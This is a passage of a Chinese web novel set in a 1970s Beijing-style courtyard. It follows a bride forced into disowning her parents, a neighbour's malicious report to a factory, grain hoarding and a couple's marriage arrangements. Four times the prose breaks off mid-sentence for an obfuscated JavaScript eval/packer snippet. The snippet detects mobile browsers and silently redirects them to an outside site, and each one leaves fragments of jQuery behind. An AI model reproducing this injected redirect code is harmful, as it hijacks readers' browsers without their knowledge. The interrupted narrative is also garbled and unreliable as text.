说着,余光望向儿子,见儿子微微点头,唐母昂着头,开口道:“二百块,就当唐春梅的孝敬钱,以后生老病死,我们也不找她,桥归桥路归路!怎么样?” 章清洋十分为难的样子,陪着小心道:“话不是这么说的,父母和子女的关系,摆在这儿呢,哪儿是说断就能断的。咱们又不是那登报发声明断绝关系的高门大户,是吧,怎么能这样呢,这不行,成什么样子!唐叔、唐婶、小弟,我真能去借钱,咱们有话好好说......” 唐小弟多看了这个二姐夫一眼,拉了拉唐父的袖子,这种情况他们昨晚也预料到了,只听唐父扯着嗓子嚷道:“谁让你去借钱了?我们就要两百块钱,今儿只要拿出来,明儿我们就登报和这丫头断绝关系,就这个事儿!你要是不应承,今儿别想结婚!” 章清洋还要说话,大杂院的管院看不下去了,老大妈平时就爱仗义执言,此时抢先开口道:“老唐,大男人说话一口唾沫一个钉,你这话今儿大家伙都听到了,明儿要是不登报,以后院里大家伙可都看不上你!” 原是想让老唐退缩的,谁知平时胆小的人,如今却梗着脖子不肯让步:“只要拿钱,自然登报!” 管院大妈肃着脸,也生了火气,高声替章清洋和唐春梅拿主意:“行,这可是你说的!唐春梅,拿钱!要是没有,大妈陪你去厂子里借,这样的父母还留着干什么!” 章清洋表情十分的痛苦,半晌,似是下定了决心,拉着唐春梅跪在唐父唐母面前,郎然开口道:“唐叔,唐婶,都是因为我,害你们失了个好女儿。这一跪,我是要谢谢你们,培养了这么好的闺女。你们的大恩大德,这辈子报不了,下辈子我做牛做马,也要报答你们的恩情。” 唐春梅也反应过来了,她是工人,以后还要在车间工作呢,不能传出不孝的名声,她哽咽着开口:“最后叫你们一次爸妈,从今儿起,虽父母缘分尽了,但我来世,做牛做马也要报答你们的恩德。” 说着,咚咚咚三个响头,这一场断亲算是砸结实了。两百块不能那么轻松拿出来,章清洋带着大哥回了趟家,装模作样地拿了二百六十块钱,递给唐父唐母道:“唐叔,唐婶,也别二百了,二百六,算是我这个女婿孝敬你们的钱。” 管院大妈不放心啊,怕这老两口子还作妖,在章清洋去拿钱的时候,已经将刚才发生的事儿一五一十写了下来。谁说了什么话,对方怎么回的,大家又是怎么劝的,都写的清清楚楚。 拢共写了能有三四张纸,一式两份,写完了还给老两口看。没异议,下面就是签字按手印。两口子算是犯了众怒,大杂院围观的人,有一个算一个,全都按了手印。 唐父唐母隐隐觉得不对,但儿子结婚得用钱啊,他们又不靠女儿过活,还是坚定地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289421|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 签字画押。 谁也没想到,婚礼,成了唐春梅和父母断绝关系的现场。等大家出了唐家的门,都还愣着呢,看向唐春梅和章清洋的目光,多少带着些同情。 也算是好事儿吧,用彩礼和两百六十块钱,买断了将来可能的麻烦,章清宇握紧唐春梅的手,小声安慰妻子。 新娘子来晚了,总归是能开席了。苗大山捅开炉子,九道菜流水样盛出,端去席面上,大杂院上空飘荡起欢乐的空气。 章砚廷和邵华多少有些笑不出来,邵华是被打了脸,在妯娌陈静面前多少有些抹不开面子。章砚廷呢,则是心疼二儿子。这个儿子,是五个孩子里最活泛,也最会办事儿的,谁知娶的媳妇儿,家里是这个样子的。好在儿媳妇本身是个有决断的,否则真不能让她进这个门儿! 唐家发生的事儿自然瞒不过,三叉树胡同去了那么老些多人呢,婚礼还没结束,消息就传开了。本来对二堂嫂不感冒的章清云,听说后都有些怜惜她了,好在唐春梅果决,当机立断地和娘家断绝关系,还立下了字据,也逼迫父母登报。虽然没有法律效力,但在民间,这就是被承认的断绝关系书,算是为小家庭的未来拔除了隐患。 谁知事情还没完,第二日下班,牛桂兰拿着断绝关系的报纸,抖得唰唰响,气势汹汹地去章老大家正房,非要“主持公道”。谁都知道牛桂兰有这个毛病,好管个闲事儿。见这架势,纷纷跟在后面,在章家正房外探头探脑。 大杂院最体面的章家,娶了个和父母断绝关系的儿媳妇,谁不好奇?牛桂兰又岂会不管?章砚廷一家子正吃晚饭呢,牛桂兰不请自来,见人这么齐,精神立马振奋起来,说气话来蹦豆子似的,气势十足。 “天下无不是的父母!清洋他媳妇儿,不是我说你,你怎么能跟父母断绝关系呢!父母养你这么大容易嘛,还是高中生呢,这点儿道理都不懂?你父母可能是疼弟弟了些,但那不是应该的吗?你是闺女,早晚得嫁人,老了伺候父母的,不还是你弟弟一家?你让让他们又怎么了?做人不能只记仇不记恩的。” 章清洋心里恼怒,可这么多人看着,不能当场翻脸啊,只能起身找出当时的协议,递给牛桂兰看:“牛婶子,这是当时的记录,大家是怎么调节的,唐叔唐婶儿又是怎么说的,一桩桩一件件都写的清清楚楚,你看看,要是看了......” 牛桂兰一挥手,愣是不接,十分的固执:“我不用看!父母无论怎么做,都是为你们好,你们目前可能不理解,但只要记住,父母不会害你们的!清洋,你也是的,都结婚了,怎么还叫唐叔唐婶儿? 连爸妈都不叫,你不会以为就凭着那几张纸,真就断绝关系了吧?你媳妇儿就是她娘肚子里的一块肉,这是说断就能断的?!单凭他们生了你媳妇儿,那就是天大的恩情,怎么还都不够的!你不记这个恩,就是不孝!” 29. 忙屯粮又遇登报 嗷嗷叫的,正是吃晚饭的时候,满大杂院谁听不到啊。就是隔壁大院,都有来看热闹的,一个个挤眉弄眼的,都知道牛桂兰这是又管起闲事儿了。 许是没生下儿子,觉得在这个事儿上特别没面子,那就要在其他事情上找补回来。什么事儿呢?多管闲事!邻里邻居但凡有个啥事儿,牛桂兰跑得,比管院儿还快还积极,自以为处理事情公道,别人就能高看她一眼。 牛桂兰不看那断亲书,自有别人看,有那明事理的,看过事情经过就声援章家:“牛桂兰,你去唐家那院子了解过情况没,就来这里乱说话?我可是去问过的,断绝关系的话是那老两口说出来的,清洋和他媳妇儿可是被逼无奈才同意的,还给那老两口磕头了,老两口都没松口。你这么好管闲事儿,去跟唐家那两口子说啊,找什么清洋。” 自然,也有赞同牛桂兰的,历来父母的权威就不容质疑,唐春梅和父母断绝关系,不论中间如何曲折,只看结果,是不是唐春梅的不是? 两拨人吵嚷起来,牛桂兰更神气了:“唐家父母那里有什么问的?肯定是唐春梅这小媳妇儿惹恼了老人家,不然只要没有阶级立场的问题,哪家父母会跟子女断绝关系的?你们小两口听我的,明儿提着礼物,回娘家赔礼道歉......” 章砚臻自然要站出来声援大哥一家,他说:“牛嫂子,你这就是不从实际出发了吧?伟人都说了,没有调查就没有发言权,你调查了吗就在这里乱说话?人家孙婶子还知道去唐家胡同问问呢,你呢?” 牛桂兰可有理了,她说:“这用调查吗?你看看这报纸!” 说着将报纸抖得哗哗响:“你说,唐家老两口得多伤心,才能跟子女断绝关系?这难道不是清洋两口子的错?” “妈!”苗盼儿都不知道她妈折腾什么,这关她什么事儿呢,要她多嘴! 苗盼儿脸通红通红的,都不敢去看章清云的眼睛,她叫道:“妈,饭还没做好呢,您出来做什么?爸催了。” 牛桂兰缩了缩脖子,边往回走边说话,外强中干的:“章大哥,章大嫂,你们可别锁门,等我做好饭咱们再来讲理!今儿这事儿非掰扯明白不可。” 章家人谁理她啊,不等牛桂兰回到灶房,章老大家的门就咣地一声关上了。 谁知就因为这个举动,得罪了牛桂兰,第二日这人竟去钢铁厂举报,说唐春梅和章清洋不孝顺父母,在没有阶级立场的矛盾下,和父母断绝关系,不赡养父母云云。 不管什么时候,这都是很严重的举报了。厂子当然要重视,先暂停了小两口的工作,又去唐家所在的大杂院和章家的大杂院调查,出出进进的,都知道了。 牛桂兰竟然去举报! 平日里,邻里邻居的,吵嘴自然少不了,可历来也没有动不动就举报的啊。牛桂兰还在那儿得意呢,觉得她的建议被厂里重视了,不正义的一方被暂停工作,可不是邪不压正嘛。却没发现,大家看她的眼神儿多少带上了戒备。 七十年代,城市居民住房紧张,大杂院都是挤着住的,不足二十平米的房子住三代人的都有,据统计,人均住宅面积不足五平米。 这意味着什么呢?意味着邻里邻居做什么,都很难瞒过对方。本来吵吵闹闹,大家都不当回事儿,可要是开了举报的头儿呢?这就是潘多拉的魔盒,一旦打开,人的贪嗔痴也跟着释放出来,控制是控制不住的。 而俗话说远亲不如近邻,这句话之所以能传开,是因为这时候,房子一住,可能就是一辈子,真没办法轻易搬家的。那你说,一辈子都紧挨着的邻居都不可信了,日子还能安生? 章清云都要骂一句晦气,二堂哥两人真是受了无妄之灾。不过大伯是八级工,在厂子里多少有些香火情,应该不会让牛桂兰得意很久的。 除了日常训练和演出,章清云最近开始忙活存粮的事儿。其实从老家回来第二日,她就把消息告诉了父母、大伯一家和董婶子。三家人偷偷摸摸去黑市买了两次粮食,章清云跳舞又陆续发了些粮票、副食品票和糖票,想到关百钺,她决定也跟这家伙说说,别光忙着榨油机的事儿,到时候饿肚子可不行。 这日傍晚,关百钺来接章清云下班。如今两人都是趁着下班回家这点时间见面。一般章清云的演出都是上午,下午要么继续训练,要么休息,具体视演出能不能跳满全场而定。这日就没跳全场,下午自然是继续回去训练了。 路上,章清云低声说了下雨可能影响秋收的事儿,还掏出今天得的票,道:“你今天别送我回家了,回去收拾收拾,去黑市换些粮食。大姐那里也去看看,别缺粮。” 关百钺:“......”他可是和粮油公司对接的,能缺粮? 关百钺不动声色,接过章清云递过来的票,心思却活动开了。清云这么担心粮食的事儿,可见家里的存粮并不多。那就多弄来些粮食,好安安她的心。 拿着这些票直接去领东西,是最下乘的办法。这些票就是敲门砖,凭着票多认识些人,再从中牵线做物资置换,才是利益最大化的方法。 拿定了主意,他笑道:“行,我知道了。不急于这一时,先送你回家再说。” 见他听进去了,章清云松了一口气,饿肚子的滋味儿可不好受,关百钺上辈子是CEO,可能从来都不知道什么是饿肚子吧? 这可着实冤枉关百钺了。是,他上辈子是没挨过饿,可上上辈子,作为开国宰相,他可是做过几十年的反贼。东躲西藏的,饿肚子是家常便饭。不过关百钺什么都没说,送章清云回家后,就去忙活牵线搭桥的事儿了。 期间,章清洋和唐春梅的工作恢复了。工厂的调查结果是,唐家父母趁着婚礼,逼迫小夫妻,二人被逼无奈,过错方不在夫妻俩。当然,这是公说公有理婆说婆有理的事儿,章砚廷肯定是找领导了,事情才能这么快解决。 许是感觉到大家的冷嘲热讽,爱面子的苗大山受不住,揍了牛桂兰一顿。牛桂兰在苗大山面前屁都不敢放一个,不过自此盯上了章家,时不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296545|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时看向章家的眼神儿,都是带着恨的。 第三天,在又一次接章清云下班时,关百钺低声道:“我在家藏了三麻袋面粉,家里粮食要是不够了,去我家拿,记好了。” 见章清云望过来,他解释道:“不是不给你家送过去,你家住大杂院,人多混杂的,不好藏东西。我家是独门独院,只要我爸妈不犯原则性错误,家里藏了什么都没人知道。” 章清云有些吃惊,她问:“你从黑市买的?不对吧,黑市没这么多粮食。”虽然年代文里大多会提到黑市,可黑市规模并不会很大,一下子出三麻袋的粮食,还是白面,还真做不到。要知道,麻袋可不是编织袋,一麻袋粮食,少说也有一百斤,三麻袋得有三百斤了吧? 关百钺就笑:“你给我的那些票,忘了?我帮着油厂、糖厂、香烟厂和粮油公司牵线,从中抽了一笔,放心,大家都得利的事儿,没人会说出去。” 章清云低声问:“没人查?” 关百钺看着面前的傻姑娘,失笑:“你当没别人做?放心吧,我找的都是最小心谨慎的人,这是长期的买卖,大家不会多嘴的。” 章清云四处看了看,对着关百钺竖起大拇指:“真有你的。” 说着拍了拍脑袋,不好意思道:“你看我这脑子,以前那些票我都是直接去领的,从来没想过还能这么办。” “不是说大脑分左右脑吗?你两辈子都是右脑发达,是艺术家。我呢,就是个做商人的命,分工不一样。” 走在路上,半道又下起雨。这几天都是这样,三不五时就下雨,还真让老农们说着了,这肯定是要耽误秋收的。好在章清云有关注广播,大雨只限青江市这一片,周边的市区并没有受灾,算是不幸中的万幸。 路过报刊亭时,关百钺特意拐过去,将最新的报纸,大到《人民R报》,小到省报和市区、钢铁厂的报纸,每样都买了一份儿,章清云不解道:“下雨呢,明儿买也行啊,小心淋湿了。” 关百钺只当没听到,特意将省报翻到第二版,叠起来收好,章清云瞄过去,好家伙,好大一张照片,不是关百钺还是谁?这是想让她看,他上报纸了? 章清云笑着抢过报纸,打趣道:“哎呦呦,我看看这是谁,怎么还上报纸了?” 关百钺支棱着耳朵,一副十分想听夸奖,却又偏要装作满不在乎的样子,章清云边偷笑,边道:“哎呀,关百钺,你上报纸了也不跟我说一声!真是的,大姐知道吗?一份儿可不够,再多买几份,估计大姐得四处送人呢。” 关百钺耳朵尖儿微微红了,他轻咳一声,矜持道:“不是什么大事儿,省报而已,不用大惊小怪的,下次上了国家性的报纸再说。” 章清云噗嗤笑出声,关百钺先是不自然地扭过头,而后也跟着笑。真是的,三辈子加起来都快一百岁了,怎么还矫情上了? 笑够了,章清云不顾关百钺的反对,又买了三份省报,道:“我家一份,大伯家一份,你一份,大姐一份,正好。” 30. 谈婚论嫁见家长 听说准女婿上报纸了,章砚臻和陈静心里那个高兴啊,陈静道:“这算是特殊贡献了吧?工作的事儿怎么说?” 关百钺:“粮油公司,暂定是技术员工程师,组织关系已经转过去了。” 章砚臻拍桌子,激动道:“粮油公司好,粮油公司好。”清云嫁过去,再也不用担心饿肚子。 这边儿动静大,大嫂邵华自然听到了。章砚廷要加工一批精密仪器,还在车间加班,并没有回来,邵华晚饭做了酸辣汤,此时正端一碗过来给这边加个菜,看见一家人这么高兴,笑着道:“这是发生什么喜事儿了,看把你们高兴的。” 章清远第一个发言,他拿起报纸晃了晃:“大伯娘,你看,百钺哥上报纸了。”自从和章清云确定关系,关百钺每次来都给章清远带好吃的,要么香蕉、要么糖果,最不济,也是桃酥。一番糖衣炮弹下,小家伙早举手投降了。 邵华哎呦一声,忙将碗放到桌上,一把抢过报纸,看着‘知识青年勇于创新,积极改进榨油工艺’的报道,乐得嘴角翘起,她说:“我们清云就是有福气,找的对象都这么有出息。” 说着上上下下打量关百钺,问道:“百钺啊,你今年有二十了吧?” 关百钺点点头,邵华拍手道:“那就是到年龄了!怎么,什么时候娶我们清云啊?”弟妹两个总不能催婚,还得她这个大嫂开口。 关百钺笑得一脸真诚,他说:“我已经去信跟爸妈说了,过两天来信,要是他们选好了日子,就按他们的意思办,要是让我拿主意,我......” 他挠挠头,脸红红的道:“我自然是想越快越好。今年,今年结婚最好。” 邵华对着陈静眨眨眼,示意她说话,陈静轻咳一声,开口道:“百钺啊,婚姻可是大事儿,你父母都知道清云的情况吗?” 关百钺点头,满脸都是诚恳:“我跟清云要过一张照片,已经寄给爸妈看过了。他俩可喜欢清云了,说我能娶清云,是上辈子烧高香了。陈姨,你放心,我们全家都会对清云好的。” 章砚臻开口了,他说:“清云是跳芭蕾的,二十五之前不会生孩子,这个你知道的吧?”这些话,两个孩子肯定说过,可既然到了谈婚论嫁这一步,话还是说开了好,得让大家都知道,不是他们家清云不能生,是因为工作需要,二十五岁之前不能要孩子。 关百钺赶紧表态:“知道,清云喜欢跳舞,我也支持她跳舞。女孩子嘛,做自己喜欢做的事儿,我觉得是一件很好的事,我是举双手赞成的。而且我的事业也刚起步,这时候要孩子也不合适。等我俩事业都稳定了,再要孩子不迟。” 那就没什么说的了,不过章砚臻还是很看重礼节的,他说:“请个媒人,咱们得正式的谈。” “那是自然。”作为古人,关百钺自然也看重这些,他道,“我回去就找媒人,章叔您放心。” 这就是说定了,关百钺心急,也不留下来蹭饭了,起身就往外走,生怕章父章母变卦。 听了弟弟的话,关盈钺自然第一个赞成,她大包大揽道:“媒人的话,你说韩阿姨怎么样?” 韩阿姨韩佳,是洪安娜的妈妈,也是关父关母的老同学。本来也是在基地做研究的,一次实验时不小心受伤,身体原因,不能再参加项目研究,就回来做理论研究了。韩佳的丈夫是部队大院子弟,目前跟着洪家住在部队大院里,算是跟科研大院和部队大院都有关系的人。 之所以要两个大院都有关系的人做媒人,也是因为关家爷爷奶奶是烈士,跟部队大院的人关系匪浅,关百钺结婚,那边的人肯定要参加的。 关百钺点点头:“那就拜托大姐了。” 关盈钺嗔了弟弟一眼:“再说我揍你了啊。” 说着愈发轻声,用气音道:“清云的生辰八字有没有?我找人去算算。” 关百钺吓了一跳,这事儿可敏感,他赶紧道:“姐,这个就算了,如今不好做这个。咱们新事新办......” 关盈钺挥挥手,低声道:“别担心,北川大队那里有一个老道,以前是山神庙的主持,这两年还俗了,不过大家都信他,平时有事儿也都去找他算,没事儿的。” 关百钺更担心了,他劝道:“姐,就是因为大家都知道,才不能这么办。师叔叔和罗阿姨身份敏感,你可别任性。” 关盈钺叹口气,关父关母是烈士子女,自然不用担心这些。可师强和罗霞却是留洋过的,师援军因为出身不好,明明科室里里他的医术最好,却一直提不了主治。 见关盈钺不说话,关百钺才继续道:“姐,你和援军哥也没算过这些乱七八糟的,不是也过得很好?没事儿的,相信我,我会幸福的。” 都谈婚论嫁了,自然得带回去给章家四位老人看看。于是九月二十七这日周末,两人带着章清远,特意回了一趟三河大队。因着前不久刚回去过,章砚廷兄弟俩和几个堂兄弟都没回,三人是单独回去的。 还不到秋收,今年春上天气暖和得晚,庄稼自然成熟的晚,约莫要到国庆之后才能秋收。每年秋收后都要有一场慰问演出,路上章清云还想这事儿呢,不知道今年能不能轮到三河大队。 进了村儿,路上跟这个打招呼跟那个问好的,很快将演出的事儿抛到了脑后,说了好一会子话才到了章家老屋。 看着人进去了,村里的人还说呢,没想到章家这小云这么好说话。看着跟瓷娃娃似的,轻易不敢跟她说话。再说,他们大手大脚惯了,大老粗嘛,天天下地干活,身上又是泥又是汗的,也不咋干净,离近了都怕熏着她。 还是夏收的时候,文工团来演出,大家见了,一时高兴,跟着问了几句,没想到章清云都笑眯眯地应了,脸上没有半点儿不耐烦。不像其他演员,恨不能捏着鼻子离他们八丈远。 章清云可不知道村民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303469|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们还在议论她,进了屋,四位老人先时还板着脸,跟关百钺说话像审犯人似的,特别是章华强,能生下章砚廷那么个铁塔,章华强本人就罕见的高大。虽年纪上去了,板起脸震慑力没以往大,但冷不丁一看,还是很唬人的。 好在关百钺撑得住,有两辈子的经验打底,他是什么话都能接两句。 章华强说早些年在京城的见闻,尤其是一些奇闻轶事,关百钺就接这些见闻背后的故事,也讲历史上相似的记载,哪一本书上怎么写的,当时的人又是怎么处理的,听的章华强一愣一愣的。 老太爷唠叨早些年那些天灾人祸,吃不饱饭还要被盘剥,关百钺就解释为什么有天灾,如何形成的,又该如何防治灾后瘟疫等等。也就半个小时,父子俩恨不能跟关百钺称兄道弟。 章老太和蔡奶奶是丈母娘心态,看关百钺长得俊,先就愿意了三分,这小伙子能耐下心跟老头子们聊天,是个沉得住气的,听说还是文化人,上过报纸,那就差不了嘛!蔡奶奶干脆起身,去灶房准备吃食。 新女婿上门儿,怎么都要好好招待的。 章清云跟在奶奶身后进了灶房,嘻嘻笑着问:“奶,您这是满意还是不满意啊?” 蔡奶奶哈哈哈的笑,满脸的褶子舒展开:“满意,满意。你别上手了,那报纸给我念念,我边干活儿边听报纸,就当学习了。” 章清云哎了一声,回屋拿报纸,见屋里几人聊得热火朝天的,不禁也佩服起关百钺。不愧是大佬,交际能力就是厉害。 进到灶房,章清云提议道:“奶,百钺带来的那些点心,你们可别放。特别是桃酥,放久了可就不酥了。尽快吃了,知道吗?” “知道,小管家婆。读报吧。” 趁着孙女读报的功夫,蔡奶奶从身上掏出一样东西,偷偷塞到章清云衣服里,轻声道:“拿着,回去再看,谁也别声张。” 章清云:“......”如果她没看错,刚才一闪而过发着光的物什,像是......黄金?小黄鱼?天爷啊,那章家祖上,真是贫农?想问吧,蔡奶奶乐乐呵呵地忙活开了,看也不看她,这可真是,只怕她问了奶奶也不会说的。 可不是,为了招待孙女婿,蔡奶奶可是下了本儿,将过年时候熏的腊肉都做了,还去邻居家借了五个鸡蛋,加上家里存的三个,一下子炒了八个鸡蛋,整治了六个菜的席面招待关百钺,算是给足了面子。 吃完饭三人也不急着走,在村里散步。两人长得人中龙凤的,好些个孩子跟在后面瞧热闹,远远瞧见一个水洼,章清云回头威胁道:“别跟了,要是掉进去可就再也见不到家人了。小远,带小伙伴们回去。” 章清远知道厉害,手臂一挥,高声道:“不是说山上有榛子吗?我用糖跟你们换榛子,怎么样?” 听到有糖吃,小孩子们自然哇哇叫跟着了。榛子就是山货,不值钱的,哪儿有糖好吃。 31. 为汇演各显神通 见人都走了,关百钺指着水坑道:“这水洼的水很深吗?” 章清云循着记忆想了想,说:“应该不深,淤泥比较多,不过小孩子还是不要去的好。” “淤泥多?那应该有泥鳅黄鳝吧?”关百钺眼睛亮晶晶的,能多一个搞物资的渠道,总是好的。 章清云就笑:“你当村里人不惦记?少动歪脑筋了。这水洼可是村里的宝贝,夏天产莲子,秋冬有莲藕的,就是荷叶都是宝贝,要挨家分的。” 两人说着话,还去知青点儿看了章清宇和司南,这才离开。路上关百钺忍不住问:“陈姨那边的长辈不用拜访?” 章清云解释道:“我妈那边的老人过世的早,都不在了。” 关百钺这才意识到说错了话,幸好两人说话的声音小,章清远没听到,否则非得罪丈母娘不可。 马上国庆了,最近章清云的训练特别重,国庆汇演她要挑大梁的,因此最近,每日都是第一个去文工团。 九月末的青江市已经下霜了,温度也降到了个位数,早上格外冷。跳下自行车,章清云跺了跺脚,推着车子进了文工团。 看门的大爷乐呵呵打招呼:“清云啊,又第一个来?” “哎,程大爷,早上好,这不是快演出了嘛,得训练,您忙着。”跟关百钺在一起久了,章清云如今也会跟形形色色的人相处,比刚来那会儿自然多了。 “你忙。”程大爷坐在门房里,端着大茶缸子边喝水边嘀咕,“都不容易。” 章清云进到更衣室,先四下里巡视一圈儿,这是更衣室多次出事儿的后遗症,文工团里每个人都这样,得先确定更衣室绝对安全,才会换衣服。刚巡视完,王梅就进来了,就是之前和杜玉玲一起遭遇更衣室流氓的那个队员。 见了章清云,她很自然的问:“看过了?没人?” 章清云摇摇头:“没人,放心吧。” 王梅嗯了一声,两人各自开始换衣服。王梅偷眼去瞧背对着她的章清云,咬了咬牙,捂着肚子哎呦一声:“清云,我......我可能是骑车吃风了,肚子疼得厉害。你......你能送我去医务室看看吗?” 章清云不疑有他,换衣服的手顿了顿,放下舞蹈服,又将脱下的大衣披上,三两步上前扶着王梅道:“行,你是不是来例假痛经?” 王梅苍白着脸点头。身为芭蕾舞演员,就算是例假,也是要训练的,只是比平日的强度低一些罢了。 上辈子小时候受了苦,章清云每个月这时候也要受些罪,自然知道王梅的痛苦,她道:“你先坐一会儿,我去程大爷那借点儿热水。前几天紫鹃给了我一个输液的瓶子,灌上热水放肚子上暖暖就好了。” 说着扶王梅坐在凳子上,王梅欲起身,嘴上一个劲儿道:“不用了,去医务室买点去疼片就好了......” 章清云轻轻按住王梅,直接道:“我去买,你别出去了。外面冷,你等着啊。”说着,不顾王梅的反对,蹭蹭蹭往外跑。 王梅在后面急得直跺脚,可章清云跑得太快,嗖一下没了人影。等热水瓶拿来,大家也来的差不多了,纷纷询问王梅怎么了。王梅尴尬地笑笑,只得将来例假吹冷风的理由又说了一遍。 程紫鹃嘴快,咦了一声:“王梅,你不是月中来过了?怎么又来?没事儿吧,要不要去医院看看......” “没事,不用去医院。”王梅脸色有些白,说完该是觉得话说的有些急,轻声解释道,“快国庆汇演了,我就是太紧张,没事儿的。这时候来也好,我这个时间短,国庆的时候就没事儿了,正好干干净净的上台。” 章清云皱眉,安慰道:“不好这么说话的。这都是正常的生理现象,来不来咱们都是干干净净的,不是说来例假的时候就不干净。真的,王梅,就算国庆的时候你例假还没结束,也不耽误......” 程紫鹃赶紧开口:“哎呀,清云,你不是说给我从老家带好吃的吗?快给我看看带了什么。”说着冲章清云使劲儿眨眼睛,示意她别说了。 姚燕妮等人陆续进屋,章清云苦笑,顺着程紫鹃的话道:“有甜杆要不要?老家大队上的人在玉米地里找到的。” “要。” 这日的训练并没有什么特别,只是中场休息的时候,周文芳拍拍手,告诫大家:“最近天冷,早上都上冻了,大家走路骑车千万小心,也别贪玩去冰场滑冰。医务室的孙护士,就因着走路太急,没注意路,摔倒腿骨折了,这下子至少得休息一百天。离国庆演出就剩两天了,大家一定要注意。好了,休息半个小时再训练。” 章清云恍然,回头看向王梅,只见王梅低着头,不敢看她。章清云笑笑,原来如此,她说呢,早上的时候,怎么那么执着地让她领着去医务室,原来在这儿等着她呢。 “清云,你怎么了?”程紫鹃拽了拽章清云的袖子,她想去啃甜杆,见人拽不动,疑惑地问。 “没事儿。”章清云顺着程紫鹃的力道出了训练室,边走边问,“团里王梅和谁的关系好?” “以前是和杜玉玲,现在嘛,应该是姚燕妮。”程紫鹃想了想,问,“怎么突然关心王梅?” “没事儿,早上不是见王梅不舒服嘛,帮了点儿小忙,随便问问。”章清云笑笑,说起了别的,“你今儿那个踢腿有些重了......” “清云,等等我。”姚燕妮笑着跑过来,“我去更衣室拿个东西,走吧。” 说着,状似亲密的挽住章清云的胳膊,章清云也没躲,只听姚燕妮问:“听说你和百钺快结婚了?日期定了吗?” “呀,清云,你要结婚了?怎么不跟我说!”程紫鹃跺了跺脚,埋怨道,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308482|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管,喜糖我得多吃点儿。” 章清云笑:“时间还没定呢,等定了自然和你说。” 她望向姚燕妮,直看到对方的眼睛里,轻轻一笑道:“又是从百钺朋友那儿听说的?这么铁的关系,到时候走礼,你可得走两份。” 姚燕妮似浑身都放松了一般,笑着道:“行,两份重礼,谁让你俩我都认识呢。” 章清云耸耸肩,三人有说有笑地来到更衣室。训练前,周文芳说了秋收后慰问演出的事儿:“两个选择,附近的红星农场和山南公社,大家也磨合的差不多了,抓阄......” 姚燕妮出声打断周文芳的话,直接道:“教练,我申请去山南公社。我刚来,就得去最苦的地方磨炼。再说,听说之前清云姐去公社演出,还引发骚动了,咱们团里可不能不为队员们的安全考虑。” 大家不自觉看向章清云,嘻嘻笑起来。周文芳没说什么,以眼神儿询问章清云。 章清云挑挑眉,这是又示好了?她说:“我怎么样都行,听组织安排。” 周文芳拍拍手:“好,那就这么定了,姚燕妮去山南公社,章清云去红星农场。其他人可以抓阄,也可以主动报名,今天训练完去找小徐。好了,开始训练。” 直到下班,章清云都没表现出异常。等和门口的关百钺汇合,还和他一起,跟姚燕妮道别。 等走在路上了,章清云才问起姚燕妮的事儿:“你这个原身,跟她很熟吗?” 关百钺摇摇头:“她妈是文工团的,傲气得很,平时不大理我们这些小辈儿的,也不让姚燕妮跟我们玩。怎么了?姚燕妮找你麻烦了?” 章清云将早上王梅的事儿说了,又讲了她的怀疑:“不知道是不是姚燕妮指使王梅这么做的,不过她今天一直缠着我说话,还主动示好,有些刻意了。就算不是她直接指使的,跟她应该也有关系。” 关百钺脸色难看起来:“行,我知道了。这事儿好办,王梅不是名声不好了吗?估计是想调动工作,看她接下来往哪里调动就知道了。要是姚燕妮做的,她一定是答应了王梅什么条件,王梅才会这么做的。” 章清云自然也想到了,真是有人的地方就有江湖,哪儿都不例外。 接下来并没有再出幺蛾子,章清云顺利完成了国庆汇演,王梅要调动也不会在这个节骨眼上,章清云分出一分心神盯着就行,很不必为了不相干的人,耽误正常生活。 随着一日日变冷,最重要的储存过冬蔬菜的时候来了。章家因着在三河大队有亲戚,平时的干菜并不缺,但像是紧俏的大葱、莲藕、豆腐这些,还是没多的。 关百钺了解到情况,特意提前好几天,拐着弯儿的暗示卢建设:“你是后来的,大家不服也没什么。建设,你得想想用什么办法融入大家,而不是和大家搞对立,彼此看不对眼。” 32. 忙过冬突发意外 